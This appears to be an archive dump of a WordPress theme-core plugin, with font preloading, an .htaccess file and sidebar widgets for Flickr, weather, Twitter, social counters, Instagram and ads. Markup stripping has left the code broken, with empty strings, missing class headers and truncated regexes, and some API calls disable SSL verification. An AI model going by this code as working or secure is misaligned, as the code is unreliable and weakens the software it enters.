$in = ob_get_clean(); if ( ! foxiz_get_option( 'preload_gfonts' ) || is_admin() || ! empty( $_GET['elementor-preview'] ) ) { echo $in; return false; } $markup = preg_replace( '//Uis', '', $in ); preg_match_all( '#])+)?(?:\s+href\s*=\s*([\'"])((?:https?:)?\/\/fonts\.googleapis\.com\/css(?:(?!\1).)+)\1)(?:\s+[^>]*)?>#iU', $markup, $matches ); if ( ! $matches[2] ) { echo $in; return false; } $fonts_data = array(); $index = 0; $fonts_string = ''; $subset_string = ''; $add_pos = ''; $fonts_html .= ''; echo substr_replace( $in, $fonts_html . $add_pos, strpos( $in, $add_pos ), strlen( $add_pos ) ); return false; } function preload_font_icon() { if ( foxiz_get_option( 'preload_icon' ) && ! is_admin() ) { echo ' '; if ( foxiz_get_option( 'font_awesome' ) ) { echo ' '; echo ' '; } } } } } includes/.htaccess000064400000001626147206624460010170 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] define.php000064400000000432147206624460006521 0ustar00params = array( 'title' => '', 'flickr_id' => '', 'tags' => '', 'total_images' => '9', 'total_cols' => '' ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Widget Flickr Grid', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display a grid of Flickr images in the sidebars.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'flickr_set' ), 'name' => $this->get_field_name( 'flickr_set' ), 'title' => esc_html__( 'Flickr Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'flickr_id' ), 'name' => $this->get_field_name( 'flickr_id' ), 'description' => esc_html__( 'Get Flickr Id', 'foxiz-core' ), 'title' => esc_html__( 'Flickr User ID', 'foxiz-core' ), 'value' => $instance['flickr_id'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'total_images' ), 'name' => $this->get_field_name( 'total_images' ), 'title' => esc_html__( 'Total Images', 'foxiz-core' ), 'value' => $instance['total_images'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'tags' ), 'name' => $this->get_field_name( 'tags' ), 'title' => esc_html__( 'Tags (optional, Separate tags with comma. i.e. tag1,tag2)', 'foxiz-core' ), 'value' => $instance['tags'], ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'total_cols' ), 'name' => $this->get_field_name( 'total_cols' ), 'title' => esc_html__( 'Style', 'foxiz-core' ), 'options' => array( 'rb-c2' => esc_html__( '2 columns', 'foxiz-core' ), 'rb-c3' => esc_html__( '3 columns', 'foxiz-core' ), 'rb-c4' => esc_html__( '4 columns', 'foxiz-core' ), ), 'value' => $instance['total_cols'], ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); $instance['cache_id'] = $args['widget_id']; echo $args['before_widget']; $flickr_data = $this->foxiz_data_flickr( $instance ); if ( ! empty( $flickr_data['error'] ) ) : if ( current_user_can( 'manage_options' ) ) : echo '
' . esc_html__( 'Flickr Error: ', 'foxiz-core' ) . '' . esc_html( $flickr_data['error'] ) . '
'; endif; else : if ( ! empty( $instance['title'] ) ) { echo $args['before_title'] . esc_html( $instance['title'] ) . $args['after_title']; } ?> 100, 'sslverify' => false ); $response = wp_remote_get( '//api.flickr.com/services/feeds/photos_public.gne?format=json&id=' . urlencode( $settings['flickr_id'] ) . '&nojsoncallback=1&tags=' . urlencode( $settings['tag'] ), $params ); if ( is_wp_error( $response ) || 200 !== $response['response']['code'] ) { return false; } $response = wp_remote_retrieve_body( $response ); $response = str_replace( "\\'", "'", $response ); $data_images = json_decode( $response, true ); if ( is_array( $data_images ) ) { $data_images = array_slice( $data_images['items'], 0, $settings['total_images'] ); foreach ( $data_images as $i => $v ) { $data_images[ $i ]['media'] = preg_replace( '/_m\.(jp?g|png|gif)$/', '_m.\\1', $v['media']['m'] ); } $cache_data[ $cache_id ] = $data_images; delete_transient( $cache_name ); set_transient( $cache_name, $cache_data, 21600 ); return $data_images; } else { return false; } } } } endif;widgets/sb-weather.php000064400000010274147206624460011003 0ustar00params = array( 'title' => 'Weather', 'location' => '', 'api_key' => '', 'units' => '', 'forecast_days' => '5', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Widget Weather', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display today weather information in the sidebars.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'units' ), 'name' => $this->get_field_name( 'units' ), 'title' => esc_html__( 'Units', 'foxiz-core' ), 'options' => array( 'C' => esc_html__( '°C', 'foxiz-core' ), 'F' => esc_html__( '°F', 'foxiz-core' ), ), 'value' => $instance['units'], ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'head_weather' ), 'name' => $this->get_field_name( 'head_weather' ), 'title' => esc_html__( 'Weather Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'location' ), 'name' => $this->get_field_name( 'location' ), 'title' => esc_html__( 'Digit ISO Location Code', 'foxiz-core' ), 'value' => $instance['location'], 'description' => '' . esc_html__( 'Find your location', 'foxiz-core' ) . '  ' . esc_html__( 'Put the city\'s name, comma, 2-letter country code. i.e: London, GB)', 'foxiz-core' ) . '' ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'api_key' ), 'name' => $this->get_field_name( 'api_key' ), 'title' => esc_html__( 'Weather API Key', 'foxiz-core' ), 'value' => $instance['api_key'], 'description' => 'How to get API key' ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'forecast_days' ), 'name' => $this->get_field_name( 'forecast_days' ), 'title' => esc_html__( 'Forecast', 'foxiz-core' ), 'options' => array( '1' => esc_html__( '1 day', 'foxiz-core' ), '2' => esc_html__( '2 days', 'foxiz-core' ), '3' => esc_html__( '3 days', 'foxiz-core' ), '4' => esc_html__( '4 days', 'foxiz-core' ), '5' => esc_html__( '5 days', 'foxiz-core' ), 'hide' => esc_html__( 'Do not display', 'foxiz-core' ), ), 'value' => $instance['forecast_days'], ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); echo $args['before_widget']; ?> $instance['title'], 'location' => $instance['location'], 'api_key' => $instance['api_key'], 'units' => $instance['units'], 'forecast_days' => $instance['forecast_days'] ) ); ?> params = array( 'title' => '', 'description' => '', 'image' => '', 'dark_image' => '', 'color_scheme' => '1', 'submit' => '', 'url' => '', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Widget Banner', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display banner with text and background image in the sidebars.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_textarea_field( array( 'id' => $this->get_field_id( 'description' ), 'name' => $this->get_field_name( 'description' ), 'title' => esc_html__( 'Description', 'foxiz-core' ), 'value' => $instance['description'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'image' ), 'name' => $this->get_field_name( 'image' ), 'title' => esc_html__( 'Background Image URL', 'foxiz-core' ), 'description' => esc_html__( 'Input a background image (attachment URL) for this banner.', 'foxiz-core' ), 'value' => $instance['image'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'dark_image' ), 'name' => $this->get_field_name( 'dark_image' ), 'title' => esc_html__( 'Dark Mode - Background Image URL', 'foxiz-core' ), 'description' => esc_html__( 'Input a background image (attachment URL) for this banner in the dark mode.', 'foxiz-core' ), 'value' => $instance['dark_image'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'color_scheme' ), 'name' => $this->get_field_name( 'color_scheme' ), 'title' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'desc' => esc_html__( 'Text Select a text color scheme for this block.', 'foxiz-core' ), 'options' => array( '1' => esc_html__( 'Light Text', 'foxiz-core' ), '0' => esc_html__( 'Dark Text', 'foxiz-core' ), ), 'value' => $instance['color_scheme'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'url' ), 'name' => $this->get_field_name( 'url' ), 'title' => esc_html__( 'Button Destination URL', 'foxiz-core' ), 'value' => $instance['url'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'submit' ), 'name' => $this->get_field_name( 'submit' ), 'title' => esc_html__( 'Button Label', 'foxiz-core' ), 'value' => $instance['submit'] ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); echo $args['before_widget']; rb_sidebar_banner( $instance ); echo $args['after_widget']; } } endif;widgets/sb-tweet.php000064400000027420147206624460010475 0ustar00params = array( 'title' => esc_html__('Latest Tweets', 'foxiz-core'), 'twitter_user' => '', 'num_tweets' => '3', 'consumer_key' => '', 'consumer_secret' => '', 'access_token' => '', 'access_secret' => '', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Widget Tweet', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display latest Twitter tweets in the sidebars.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'twitter_user' ), 'name' => $this->get_field_name( 'twitter_user' ), 'title' => esc_html__( 'Twitter User Name', 'foxiz-core' ), 'value' => $instance['twitter_user'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'num_tweets' ), 'name' => $this->get_field_name( 'num_tweets' ), 'title' => esc_html__( 'Number of Tweets', 'foxiz-core' ), 'value' => $instance['num_tweets'], ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'twitter_api' ), 'name' => $this->get_field_name( 'twitter_api' ), 'title' => esc_html__( 'Twitter API Settings', 'foxiz-core' ), 'description' => 'Create your Twitter App', ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'consumer_key' ), 'name' => $this->get_field_name( 'consumer_key' ), 'title' => esc_html__( 'Twitter Consumer Key', 'foxiz-core' ), 'value' => $instance['consumer_key'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'consumer_secret' ), 'name' => $this->get_field_name( 'consumer_secret' ), 'title' => esc_html__( 'Twitter Consumer Secret', 'foxiz-core' ), 'value' => $instance['consumer_secret'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'access_token' ), 'name' => $this->get_field_name( 'access_token' ), 'title' => esc_html__( 'Twitter Access Token', 'foxiz-core' ), 'value' => $instance['access_token'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'access_secret' ), 'name' => $this->get_field_name( 'access_secret' ), 'title' => esc_html__( 'Twitter Access Secret', 'foxiz-core' ), 'value' => $instance['access_secret'], ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); $tweets_data = $this->get_tweets_data($instance); echo $args['before_widget']; if ( ! empty( $instance['title'] ) ) { echo $args['before_title'] . $instance['title'] . $args['after_title']; } if( !empty( $instance['twitter_user'] ) && !empty( $tweets_data ) && is_array( $tweets_data ) && empty( $tweets_data['error'] ) ) : ?>
text = preg_replace( '/\b([a-zA-Z]+:\/\/[\w_.\-]+\.[a-zA-Z]{2,6}[\/\w\-~.?=&%#+$*!]*)\b/i', "$1", $tweet->text ); $tweet->text = preg_replace( '/\b(?$1", $tweet->text ); $tweet->text = preg_replace( "/\b([a-zA-Z][a-zA-Z0-9\_\.\-]*[a-zA-Z]*\@[a-zA-Z][a-zA-Z0-9\_\.\-]*[a-zA-Z]{2,6})\b/i", "$1", $tweet->text ); $tweet->text = preg_replace( '/([\.|\,|\:|\>|\{|\(]?)#{1}(\w*)([\.|\,|\:|\!|\?|\>|\}|\)]?)\s/i', "$1#$2$3 ", $tweet->text ); $tweet->text = str_replace( 'RT', ' ', $tweet->text ); $time = strtotime( $tweet->created_at ); if ( ( abs( time() - $time ) ) < 86400 ) { $h_time = sprintf( foxiz_html__( '%s ago'), human_time_diff( $time ) ); } else { $h_time = date( 'M j, Y', $time ); } ?>
get_tweets( $options ); if ($data_tweets) { set_transient( $cache_data_name, $data_tweets, 10800 ); return $data_tweets; } } else { return $cache; } } function get_tweets($options) { if ( ! function_exists( 'getTweets' ) || ! class_exists( 'TwitterOAuth' ) ) { include_once FOXIZ_CORE_PATH . 'lib/twitteroauth/twitteroauth.php'; $twitterConnection = new TwitterOAuth( $options['consumer_key'], $options['consumer_secret'], $options['access_token'], $options['access_secret'] ); $data_tweets = $twitterConnection->get('statuses/user_timeline', array('screen_name' => $options['twitter_user'], 'count' => $options['num_tweets'], 'exclude_replies' => false)); if ($twitterConnection->http_code === 200) { return $data_tweets; } } return false; } } endif; widgets/sb-follower.php000064400000026172147206624460011201 0ustar00params = array( 'title' => 'Stay Connected', 'style' => '', 'facebook_page' => '', 'facebook_count' => '', 'twitter_user' => '', 'twitter_count' => '', 'pinterest_user' => '', 'pinterest_count' => '', 'instagram_user' => '', 'instagram_count' => '', 'youtube_link' => '', 'youtube_count' => '', 'telegram_link' => '', 'telegram_count' => '', 'soundcloud_user' => '', 'soundcloud_count' => '', 'vimeo_user' => '', 'vimeo_count' => '', 'dribbble_user' => '', 'dribbble_count' => '', 'font_size' => '', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Widget Social Counter', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display your media socials with total of followers in the sidebars.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'style' ), 'name' => $this->get_field_name( 'style' ), 'title' => esc_html__( 'Style', 'foxiz-core' ), 'options' => array( '1' => esc_html__( 'Style 1', 'foxiz-core' ), '2' => esc_html__( 'Style 2', 'foxiz-core' ), '3' => esc_html__( 'Style 3', 'foxiz-core' ), '4' => esc_html__( 'Style 4', 'foxiz-core' ), '5' => esc_html__( 'Style 5', 'foxiz-core' ), '6' => esc_html__( 'Style 6', 'foxiz-core' ), '7' => esc_html__( 'Style 7', 'foxiz-core' ), '8' => esc_html__( 'Style 8', 'foxiz-core' ), '9' => esc_html__( 'Style 9', 'foxiz-core' ), '10' => esc_html__( 'Style 10', 'foxiz-core' ), '11' => esc_html__( 'Style 11', 'foxiz-core' ), '12' => esc_html__( 'Style 12', 'foxiz-core' ), '13' => esc_html__( 'Style 13', 'foxiz-core' ), '14' => esc_html__( 'Style 14', 'foxiz-core' ), '15' => esc_html__( 'Style 15', 'foxiz-core' ), ), 'value' => $instance['style'], ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'head_facebook' ), 'name' => $this->get_field_name( 'head_facebook' ), 'title' => esc_html__( 'Facebook Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'facebook_page' ), 'name' => $this->get_field_name( 'facebook_page' ), 'title' => esc_html__( 'FanPage Name', 'foxiz-core' ), 'value' => $instance['facebook_page'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'facebook_count' ), 'name' => $this->get_field_name( 'facebook_count' ), 'title' => esc_html__( 'Facebook Likes Value', 'foxiz-core' ), 'value' => $instance['facebook_count'] ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'head_twitter' ), 'name' => $this->get_field_name( 'head_twitter' ), 'title' => esc_html__( 'Twitter Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'twitter_user' ), 'name' => $this->get_field_name( 'twitter_user' ), 'title' => esc_html__( 'Twitter Name', 'foxiz-core' ), 'value' => $instance['twitter_user'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'twitter_count' ), 'name' => $this->get_field_name( 'twitter_count' ), 'title' => esc_html__( 'Twitter Followers Value', 'foxiz-core' ), 'value' => $instance['twitter_count'] ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'head_pinterest' ), 'name' => $this->get_field_name( 'head_pinterest' ), 'title' => esc_html__( 'Pinterest Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'pinterest_user' ), 'name' => $this->get_field_name( 'pinterest_user' ), 'title' => esc_html__( 'Pinterest Name', 'foxiz-core' ), 'value' => $instance['pinterest_user'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'pinterest_count' ), 'name' => $this->get_field_name( 'pinterest_count' ), 'title' => esc_html__( 'Pinterest Followers Value', 'foxiz-core' ), 'value' => $instance['pinterest_count'] ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'head_instagram' ), 'name' => $this->get_field_name( 'head_instagram' ), 'title' => esc_html__( 'Instagram Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'instagram_user' ), 'name' => $this->get_field_name( 'instagram_user' ), 'title' => esc_html__( 'Instagram Name', 'foxiz-core' ), 'value' => $instance['instagram_user'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'instagram_count' ), 'name' => $this->get_field_name( 'instagram_count' ), 'title' => esc_html__( 'Instagram Followers Value', 'foxiz-core' ), 'value' => $instance['instagram_count'] ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'head_youtube' ), 'name' => $this->get_field_name( 'head_youtube' ), 'title' => esc_html__( 'Youtube Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'youtube_link' ), 'name' => $this->get_field_name( 'youtube_link' ), 'title' => esc_html__( 'Youtube Channel or User URL', 'foxiz-core' ), 'value' => $instance['youtube_link'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'youtube_count' ), 'name' => $this->get_field_name( 'youtube_count' ), 'title' => esc_html__( 'Youtube Subscribers Value', 'foxiz-core' ), 'value' => $instance['youtube_count'] ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'head_soundcloud' ), 'name' => $this->get_field_name( 'head_soundcloud' ), 'title' => esc_html__( 'SoundCloud Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'soundcloud_user' ), 'name' => $this->get_field_name( 'soundcloud_user' ), 'title' => esc_html__( 'Soundcloud User Name', 'foxiz-core' ), 'value' => $instance['soundcloud_user'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'soundcloud_count' ), 'name' => $this->get_field_name( 'soundcloud_count' ), 'title' => esc_html__( 'SoundCloud Followers Value', 'foxiz-core' ), 'value' => $instance['soundcloud_count'] ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'head_telegram' ), 'name' => $this->get_field_name( 'head_telegram' ), 'title' => esc_html__( 'Telegram Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'telegram_link' ), 'name' => $this->get_field_name( 'telegram_link' ), 'title' => esc_html__( 'Telegram Channel or Invite URL', 'foxiz-core' ), 'value' => $instance['telegram_link'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'telegram_count' ), 'name' => $this->get_field_name( 'telegram_count' ), 'title' => esc_html__( 'Telegram Members Value', 'foxiz-core' ), 'value' => $instance['telegram_count'] ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'head_vimeo' ), 'name' => $this->get_field_name( 'head_vimeo' ), 'title' => esc_html__( 'Vimeo Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'vimeo_user' ), 'name' => $this->get_field_name( 'vimeo_user' ), 'title' => esc_html__( 'Vimeo User Name', 'foxiz-core' ), 'value' => $instance['vimeo_user'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'vimeo_count' ), 'name' => $this->get_field_name( 'vimeo_count' ), 'title' => esc_html__( 'Vimeo Followers Value', 'foxiz-core' ), 'value' => $instance['vimeo_count'] ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'head_dribbble' ), 'name' => $this->get_field_name( 'head_dribbble' ), 'title' => esc_html__( 'Dribbble Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'dribbble_user' ), 'name' => $this->get_field_name( 'dribbble_user' ), 'title' => esc_html__( 'Dribbble User Name', 'foxiz-core' ), 'value' => $instance['dribbble_user'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'dribbble_count' ), 'name' => $this->get_field_name( 'dribbble_count' ), 'title' => esc_html__( 'Dribbble Followers Value', 'foxiz-core' ), 'value' => $instance['dribbble_count'] ) ); foxiz_create_widget_heading_field( array( 'id' => $this->get_field_id( 'head_font_size' ), 'name' => $this->get_field_name( 'head_font_size' ), 'title' => esc_html__( 'Font Size Settings', 'foxiz-core' ) ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'font_size' ), 'name' => $this->get_field_name( 'font_size' ), 'title' => esc_html__( 'Widget Font Size', 'foxiz-core' ), 'value' => $instance['font_size'] ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); echo $args['before_widget']; if ( ! empty( $instance['font_size'] ) ) { echo ''; } if ( ! empty( $instance['title'] ) ) { echo $args['before_title'] . $instance['title'] . $args['after_title']; } echo rb_social_follower( $instance, $instance['style'] ); echo $args['after_widget']; } } endif;widgets/sb-instagram.php000064400000022231147206624460011325 0ustar00params = array( 'title' => 'Instagram', 'instagram_token' => '', 'total_images' => 9, 'total_cols' => 'rb-c3', 'footer_intro' => 'Follow Us on @ Instagram', 'footer_url' => '#', ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Widget Instagram', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( '[Sidebar Widget] Display a grid of instagram images in the sidebars.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Title', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_textarea_field( array( 'id' => $this->get_field_id( 'instagram_token' ), 'name' => $this->get_field_name( 'instagram_token' ), 'title' => esc_html__( 'Input Instagram Token', 'foxiz-core' ), 'description' => esc_html__( 'Refer to this Documentation to create an Instagram token', 'foxiz-core' ), 'value' => $instance['instagram_token'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'total_images' ), 'name' => $this->get_field_name( 'total_images' ), 'title' => esc_html__( 'Default Grid - Total Images', 'foxiz-core' ), 'value' => $instance['total_images'] ) ); foxiz_create_widget_select_field( array( 'id' => $this->get_field_id( 'total_cols' ), 'name' => $this->get_field_name( 'total_cols' ), 'title' => esc_html__( 'Style', 'foxiz-core' ), 'options' => array( 'rb-c2' => esc_html__( '2 columns', 'foxiz-core' ), 'rb-c3' => esc_html__( '3 columns', 'foxiz-core' ), 'rb-c4' => esc_html__( '4 columns', 'foxiz-core' ), ), 'value' => $instance['total_cols'], ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'footer_intro' ), 'name' => $this->get_field_name( 'footer_intro' ), 'title' => esc_html__( 'Footer Description', 'foxiz-core' ), 'desc' => esc_html__( 'Input a short description to display at the footer, raw HTML allowed.', 'foxiz-core' ), 'value' => $instance['footer_intro'] ) ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'footer_url' ), 'name' => $this->get_field_name( 'footer_url' ), 'title' => esc_html__( 'Footer Link', 'foxiz-core' ), 'value' => $instance['footer_url'] ) ); } function widget( $args, $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); $instance['cache_id'] = $args['widget_id']; echo $args['before_widget']; $data_images = $this->foxiz_data_instagram_token( $instance ); if ( ! empty( $data_images['error'] ) ) : if ( current_user_can( 'manage_options' ) ) : echo '
' . esc_html__( 'Instagram Error: ', 'foxiz-core' ) . '' . esc_html( $data_images['error'] ) . '
'; endif; else : if ( ! empty( $instance['title'] ) ) { echo $args['before_title'] . esc_html( $instance['title'] ) . $args['after_title']; } ?> false, 'timeout' => 100 ) ); if ( is_wp_error( $response ) || empty( $response['response']['code'] ) || 200 !== $response['response']['code'] ) { $response = json_decode( wp_remote_retrieve_body( $response ) ); if ( ! empty( $response->error->message ) ) { $data_images['error'] = esc_html( $response->error->message ); } else { $data_images['error'] = esc_html__( 'Could not connect to Instagram API server.', 'foxiz-core' ); } return $data_images; } $response = json_decode( wp_remote_retrieve_body( $response ) ); if ( ! empty( $response->data ) && is_array( $response->data ) ) { foreach ( $response->data as $image ) { $caption = esc_html__( 'instagram image', 'foxiz-core' ); $link = '#'; $likes = ''; $comments = ''; $thumbnail = '#'; $media = ''; if ( ! empty( $image->permalink ) ) { $link = esc_url( $image->permalink ); } if ( ! empty( $image->media_url ) ) { $thumbnail = esc_url( $image->media_url ); } if ( ! empty( $image->media_type ) ) { $media = esc_html( $image->media_type ); } if ( ! empty( $image->$caption ) ) { $caption = $image->$caption; } $data_images[] = array( 'thumbnail_src' => $thumbnail, 'caption' => $caption, 'link' => $link, 'likes' => $likes, 'comments' => $comments, 'media' => $media, ); } $cache_data[ $cache_id ] = $data_images; delete_transient( $cache_name ); set_transient( $cache_name, $cache_data, 21600 ); } else { $data_images['error'] = esc_html__( 'Token did not work or has expired, Try to create a new token.', 'foxiz-core' ); } return $data_images; } } } endif;widgets/sb-ad-script.php000064400000013270147206624460011231 0ustar00params = array( 'title' => esc_html__( '- Advertisement -', 'foxiz-core' ), 'code' => '', 'size' => 0, 'desktop_size' => 1, 'tablet_size' => 2, 'mobile_size' => 3 ); parent::__construct( $this->widgetID, esc_html__( 'Foxiz - Widget Ad Script', 'foxiz-core' ), array( 'classname' => $this->widgetID, 'description' => esc_html__( 'Display your Js ad or Google Adsense in the sidebars or full width widget areas.', 'foxiz-core' ) ) ); } function update( $new_instance, $old_instance ) { if ( current_user_can( 'unfiltered_html' ) ) { return wp_parse_args( (array) $new_instance, $this->params ); } else { $instance = array(); foreach ( $new_instance as $id => $value ) { $instance[ $id ] = sanitize_text_field( $value ); } return wp_parse_args( $instance, $this->params ); } } function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->params ); foxiz_create_widget_text_field( array( 'id' => $this->get_field_id( 'title' ), 'name' => $this->get_field_name( 'title' ), 'title' => esc_html__( 'Description', 'foxiz-core' ), 'value' => $instance['title'] ) ); foxiz_create_widget_textarea_field( array( 'id' => $this->get_field_id( 'code' ), 'name' => $this->get_field_name( 'code' ), 'title' => esc_html__( 'Ad/Adsense Code', 'foxiz-core' ), 